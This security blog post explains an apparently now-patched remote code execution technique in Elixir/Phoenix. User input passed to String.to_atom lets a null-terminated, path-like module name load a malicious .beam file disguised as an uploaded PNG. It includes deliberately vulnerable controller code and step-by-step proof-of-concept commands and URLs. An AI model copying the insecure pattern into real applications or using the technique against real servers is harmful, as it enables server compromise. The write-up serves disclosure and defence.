Unexpected Code Execution
A while back, I found a somewhat unique remote code execution attack vector for Elixir and Phoenix projects. Now, right off the bat, it’s worth noting that there is a 99.999% chance that no Elixir library or Phoenix application is unknowingly vulnerable to this issue. However, it’s fairly amusing and I thought that made it worth sharing.
So, to set the stage:
You’ve got a web application, and you let users do a couple things. Not necessarily realistic things, but good for an example. First, you let your users upload PNGs. You do a simple but sufficient validation of the image before saving it to make sure it has a
.png
extension and that it’s not too big. It seems secure enough. You also have a bunch of non-sensitive database tables, and all of them have atitle
column. You want your users to be able to dynamically query these tables and fetch all the titles.On the attacker side, the attacker has uploaded one PNG,
hello.png
, and they know your dynamic query looks like this:def index(conn, %{"type" => type}) do from p in String.to_atom(type), select: p.title ... end
What is the worst thing the attacker can do here? If the title didn’t already give it away, it’s arbitrary code execution!
So, how does it work?
The first thing you might have noticed, is the call to
String.to_atom
. This is insecure on its own1, but it won’t cause code execution.Try passing a known module to the
from/2
function, and you will get an error to the effect of “protocol Ecto.Queryable not implemented for , the given module does not provide a schema.” This is because, deep down,from/2
calls__schema__
on whatever module you pass as a parameter. You can test this out in the following way:
- Generate a Phoenix project with
mix phx.new example
.- Now, update the PageController to look like the following:
defmodule ExampleWeb.PageController do use ExampleWeb, :controller import Ecto.Query, only: [from: 2] def index(conn, %{"type" => type}) do from u in String.to_atom(type), select: u.title render conn, "index.html" end end
- Run the server and make a request to “http://localhost:4000/?type=Elixir.ExampleWeb.PageController”. Note the error.
- Now, define
__schema__/1
in the PageController:defmodule ExampleWeb.PageController do ... def __schema__(_) do IO.puts "Hello, world!" end end
- Re-issue the GET request, and check your logs for the “Hello, world!” text.
We are half way to arbitrary code execution — we can execute the
__schema__/1
function on any module; we are just missing the “arbitrary” part. This is where the fun part comes into play.Did you know module names can be paths? For example, if you have a module named
:"/My/Full/Path/Module"
, Elixir (by way of Erlang) will attempt to load code from the file located at "/My/Full/Path/Module.beam". Better still, you can null-terminate2 the module name. So:"/My/Full/Path/Module.png\0"
will load code from the file located at "/My/Full/Path/Module.png".With this capability, an attacker can locally compile a module
:"assets/static/images/hello.png\0"
with a malicious__schema__
function. Then they can upload the “hello.png” file that’s been created, and make a request to “http://hostname/?type=assets/static/images/hello.png%00”. Arbitrary code execution achieved.Here are reproduction steps so you can test this yourself:
- Go to the root of your Example application, and make the necessary directories:
mkdir -p _build/dev/lib/example/ebin/assets/static/images
- Now, create a new module in the PageController:
defmodule ExampleWeb.PageController do ... end defmodule :"assets/static/images/arbitrary_rce.png\0" do def __schema__(_) do IO.puts("\n=== REMOTE CODE EXECUTION ===\n") end end
- This module is only temporary. Run the Phoenix application to force a build:
mix phx.server
.- Stop the server, then move the newly created beam file to your assets directory:
mv _build/dev/lib/example/ebin/assets/static/images/arbitrary_rce.png assets/static/images/.
- Delete the module definition from your PageController, then start your app.
- Now go to “http://localhost:4000/?type=assets/static/images/arbitrary_rce.png%00”.
- Check your logs for the “REMOTE CODE EXECUTION” output!
And that’s it.
Like I said, it’s unlikely that this is actively exploitable in the wild. But, given enough time and growing popularity, we may one day see this vulnerability in a live Phoenix application!
Anyway, if you didn’t feel like actively following along, but you still want to give this a test run, you can find the example repository here: GitHub - GriffinMB/RCE_Example. And, if you are a security conscious Elixir/Phoenix developer looking to secure your latest web app, give Sobelow a whirl :)
Updates The null byte issues are addressed in OTP 21, and, as of OTP 20.3, module names can no longer contain directory separators. If you’ve updated, you are now safe from this method of code execution!
In Elixir, atoms are not garbage collected. As such, if user input is passed to the
String.to_atom
function, it may result in memory exhaustion or exhaust the atom table. ↩Elixir (via Erlang) has a problem with null bytes. If you want to watch me talk about it, you can see that here: ElixirConf 2017 - Plugging the Security Holes in Your Phoenix Application. ↩